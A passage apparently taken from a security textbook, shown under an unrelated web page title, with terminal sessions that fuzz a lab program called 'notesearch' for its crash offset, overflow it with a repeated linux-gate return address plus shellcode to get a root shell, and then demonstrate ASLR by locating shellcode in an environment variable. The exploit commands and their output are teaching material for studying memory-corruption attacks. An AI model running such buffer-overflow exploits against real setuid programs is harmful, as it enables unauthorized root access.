Graphics Programs Reference
In-Depth Information
matrix@loki /hacking $ for i in `seq 1 50`; do ./notesearch $(perl -e "print 'AAAA'x$i"); if [
$? == 139 ]; then echo "Try $i words"; break; fi; done
[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]-------
*** OUTPUT TRIMMED ***
[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]-------
Segmentation fault
Try 35 words
matrix@loki /hacking $ ./notesearch $(perl -e 'print "\x77\xe7\xff\xff"x35')$(cat scode.bin)
[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]-------
Segmentation fault
matrix@loki /hacking $ ./notesearch $(perl -e 'print "\x77\xe7\xff\xff"x36')$(cat scode2.bin)
[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]-------
s
h-3.1#
The initial estimate of 35 words was off, since the program still crashed
with the slightly smaller exploit buffer. But it is in the right ballpark, so a
manual tweak (or a more accurate way to calculate the offset) is all that is
needed.
Sure, bouncing off linux-gate is a slick trick, but it only works with older
Linux kernels. Back on the LiveCD, running Linux 2.6.20, the useful instruc-
tion is no longer found in the usual address space.
reader@hacking:~/booksrc $ uname -a
Linux hacking 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux
reader@hacking:~/booksrc $ gcc -o find_jmpesp find_jmpesp.c
reader@hacking:~/booksrc $ ./find_jmpesp
reader@hacking:~/booksrc $ gcc -g -o aslr_demo aslr_demo.c
reader@hacking:~/booksrc $ ./aslr_demo test
buffer is at 0xbfcf3480
reader@hacking:~/booksrc $ ./aslr_demo test
buffer is at 0xbfd39cd0
reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfc8d9c3
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfa0c9c3
reader@hacking:~/booksrc $
